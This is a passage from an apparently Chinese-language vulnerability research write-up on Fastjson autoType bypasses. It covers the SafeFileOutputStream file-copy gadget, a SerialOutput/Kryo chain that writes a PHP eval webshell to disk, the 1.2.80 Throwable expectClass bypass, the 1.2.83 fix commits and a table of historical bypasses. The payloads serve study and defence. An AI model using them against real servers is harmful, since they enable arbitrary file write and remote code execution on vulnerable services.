2
3
4
target:最终目标文件
temp:临时文件或备份文件
output:真正负责写入的输出流
failed:写入过程中是否发生异常

构造函数逻辑如下

image-20260818202057687

copy函数如下

image-20260818202348438

rename函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public boolean renameTo(File dest) {
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkWrite(path);
security.checkWrite(dest.path);
}
if (dest == null) {
throw new NullPointerException();
}
if (this.isInvalid() || dest.isInvalid()) {
return false;
}
return fs.rename(this, dest);
}

看似重命名,实则内部逻辑直接就是移动文件

transferStreams函数

1
2
3
4
5
6
7
8
9
10
11
12
protected void transferStreams(InputStream source, OutputStream destination) throws IOException {
byte[] buffer = new byte[8192];

while(true) {
int bytesRead = source.read(buffer);
if (bytesRead == -1) {
return;
}

destination.write(buffer, 0, bytesRead);
}
}

就是一个流向另一个流中写数据,也就是实现文件复制的效果

最终poc

1
2
3
4
5
6
7
8
String poc = "{"
+ "\"@type\":\"java.lang.AutoCloseable\","
+ "\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\","
+ "\"tempPath\":\"C:/Users/32768/Desktop/chaun.txt\","
+ "\"targetPath\":\"C:/Users/32768/Desktop/11chuan.txt\""
+ "}";

JSON.parseObject(poc);

image-20260818203422144

真实问题总结就是

该类在路径可控的对象构造场景下,提供了任意文件复制能力;若目标路径位于 Web 可访问目录,则可进一步造成任意文件读取

SerialOutput

com/sleepycat/bind/serial/SerialOutput

这个调用方式比较复杂

先上poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
byte[] content = "<?php @eval($_POST['attack']) ?> \n".getBytes(StandardCharsets.UTF_8);

String poc = "{"
+ "\"@type\":\"java.lang.AutoCloseable\","
+ "\"@type\":\"com.sleepycat.bind.serial.SerialOutput\","
+ "\"out\":{"
+ "\"@type\":\"com.esotericsoftware.kryo.io.Output\","
+ "\"buffer\":" + Arrays.toString(content) + ","
+ "\"outputStream\":{"
+ "\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\","
+ "\"targetPath\":\"C:/Users/32768/Desktop/chaun.txt\","
+ "\"tempPath\":\"C:/Users/32768/Desktop/11chuan.txt\""
+ "},"
+ "\"position\":" + content.length
+ "},"
+ "\"classCatalog\":null"
+ "}";

用到了Fastjson循环引用的技巧来调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"@type":"java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": [],
"outputStream": {
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "C:/Users/32768/Desktop/chaun.txt",
"tempPath": "C:/Users/32768/Desktop/11chuan.txt"
},
"position": 34
},
"classCatalog": null
}

链路逻辑为

反序列化入口会调用 SerialOutput构造方法

接着调用其中的 super(out);

也就是ObjectOutputStream(com.esotericsoftware.kryo.io.Output),ObjectOutputStream的构造方法

image-20260819114528753

进一步调用图片中指出的ObjectOutputStream类中的bout.setBlockDataMode(true);方法

会接着调用 drain();方法

接着其中out.write(buf, 0, pos);方法

也就是 Output类的write方法

image-20260819115334823

com/esotericsoftware/kryo/io/Output类中的write方法

调用同类下 writeBytes方法

接着调用同类下require(copyCount);方法

接着调用同类下flush方法

最终进入

1
2
outputStream.write(buffer, 0, position);
outputStream.flush();

也就是SafeFileOutputStream

image-20260819120312171

至于SafeFileOutputStream类中的write方法就是直接写入文件了

image-20260819120350046

整体调用栈图

解析

image-20260819120506409

爆炸

image-20260819120735070

涉及到的类

1
2
3
com.sleepycat.bind.serial.SerialOutput
com.esotericsoftware.kryo.io.Output
org.eclipse.core.internal.localstore.SafeFileOutputStream

均实现类Autocloseable接口,所以才会被加载

6.Fastjson1.2.83改动

6.1、漏洞利用

poc如下

1
2
3
4
5
6
String json =
"{"
+ "\"@type\":\"java.lang.Exception\","
+ "\"@type\":\"demo.SafeThrowable\","
+ "\"marker\":\"SAFE_MARKER\""
+ "}";

恶意类evil3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class evil3 extends Exception {

private String marker;

static {
System.out.println("[SAFE] static initializer triggered");
}

public evil3() {
System.out.println("[SAFE] constructor triggered");
}

public evil3(String message) {
super(message);
System.out.println("[SAFE] message constructor triggered");
}

public void setMarker(String marker) {
this.marker = marker;
System.out.println("[SAFE] setter triggered: " + marker);
}
}

6.1.1、投毒一

这个绕过方式和上一种绕过方式很是类似

不同的是,这一次的双@Type

1
2
3
4
5
6
7
第一个 @type:java.lang.Exception

选择 Exception 对应的 ThrowableDeserializer

第二个 @type:demo.SafeThrowable

在 ThrowableDeserializer 内部再次处理

而之前的那一次是

1
2
3
4
5
6
7
第一个 @type:java.lang.AutoCloseable

选择 Exception 对应的 javaBeanDeserializer

第二个 @type:evil2

在 javaBeanDeserializer 内部再次处理

具体的投毒逻辑如下

第一个 @type 进行Exception类加载

我们在挑取Exception也是下了一番功夫的,此类刚好在缓存中添加

image-20260817193650770

由此,当进入 checkAutoType时

image-20260817193827811

由此轻易的拿到 Exception.class类并加载

6.1.2、投毒二

上方 clazz变量拿到了Exception类,接着调用

image-20260817194951226

熟悉的逻辑

不同的是,这回获取的类加载器不是JavaBeanDeserializer而是ThrowableDeserializer类加载器

接着就会像之前那样,如果匹配到@Type就会进行有期望类的类加载

image-20260817195447980

注意此时,第二个参数直接写死,为Throwable.class

我们的恶意类就进一步走向了

1
2
3
4
exClass = parser.getConfig().checkAutoType(
evil3,
Throwable.class,
lexer.getFeatures());
6.1.3、命中

命运就和之前一样 expectClassFlag参数为True

image-20260817195836697

然后和之前的绕过方式一样

image-20260817200239196

成功实现恶意类的加载

下一步是和之前不一样的地方

之前走到这一步的时候又重复获取反序列化器又进入了一个栈取调用反序列化函数以及setter等方法

ThrowableDeserializer直接开始调用setter等反序列化方法

image-20260817201912965

接着是setter方法

image-20260817202006445

6.1.4、栈图总结
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
第一次 @type

Exception.class mapping

ThrowableDeserializer

第二次 @type

checkAutoType(..., Throwable.class)

加载 evil3

创建 evil3

绑定 marker 属性

调用 setMarker

6.2、源码修复点

此漏洞当年还被评了cve

image-20260817203145642

1
2
3
4
- 35db4ad:bug fix for autoType (https://github.com/alibaba/fastjson/commit/35db4adad70c32089542f23c272def1ad920a60d)
- 8f3410f:bug fix for autotype (https://github.com/alibaba/fastjson/commit/8f3410f81cbd437f7c459f8868445d50ad301f15)
- 1.2.83 Release (https://github.com/alibaba/fastjson/releases/tag/1.2.83)
- Alibaba 安全公告 (https://github.com/alibaba/fastjson/wiki/security_update_20220523)

重点修复就一点

1.2.80以及之前的实现

image-20260817203956795

1.2.83的实现

image-20260817204227831

也就是这里

image-20260817204354557

1
https://github.com/alibaba/fastjson/commit/35db4adad70c32089542f23c272def1ad920a60d

漏洞利用范围是

1.2.80以及之前,漏洞修复版本为1.2.83

其实很容易明白

官方并不存在 fastjson 1.2.81 和 1.2.82 这两个公开发行版本

三、总结

按发现顺序 “是否需开启 autoType”这一列决定真实世界严重性——默认关闭下仍能打的才是高危

版本区间 编号 手法 / 名称 需 autoType 开启? 修复版本 严重性
≤ 1.2.24 CVE-2017-18349 autoType 默认开,无黑名单,直接 JNDI/字节码 否(默认就开) 1.2.25 🔴 critical
1.2.25–1.2.41 — (社区) L...; JNI 描述符绕过黑名单 1.2.42 🟠 高但受限
1.2.42 — (社区) 双写 LL...;; 1.2.43 🟠 高但受限
1.2.43 — (社区) [ 数组前缀绕过 1.2.44 🟠 高但受限
1.2.45 — (社区) 第三方 gadget:mybatis JndiDataSourceFactory (+需 mybatis 3.x<3.5.0) 1.2.46 起加黑名单 🟠
≤ 1.2.47 CNVD-2019-22238 java.lang.Class 缓存投毒通杀 否 ← 默认配置即可打 1.2.48 🔴 critical(在野最广)
1.2.48–1.2.67 — (多篇/CNVD) gadget 军备竞赛:不断发现新 JNDI 工厂类 视 gadget,部分默认可达 逐版扩黑名单 🔴
≤ 1.2.68 — (社区,2020-05) expectClass / AutoCloseable(异常类)绕过 否(绕过 autoType 开关) 1.2.69 起补;1.2.68 引入 safeMode 🔴
≤ 1.2.80 CVE-2022-25845 Throwable 子类 expectClass 绕过 1.2.83(2022-05-23) 🟠 High(受 gadget 限制)
1.2.66–1.2.83 无 CVE(2026 披露) @JSONType 远程类加载(gadget-free,SSRF→RCE) 否(无视 autoType) 未修复(1.x EOL)→ safeMode/迁 v2 🔴

防御里程碑:1.2.25 引入 checkAutoType 黑白名单 + autoType 默认关 1.2.68 引入 safeMode(彻底禁 autoType,唯一硬修复) 1.2.83 是 1.x 最后一个安全相关版本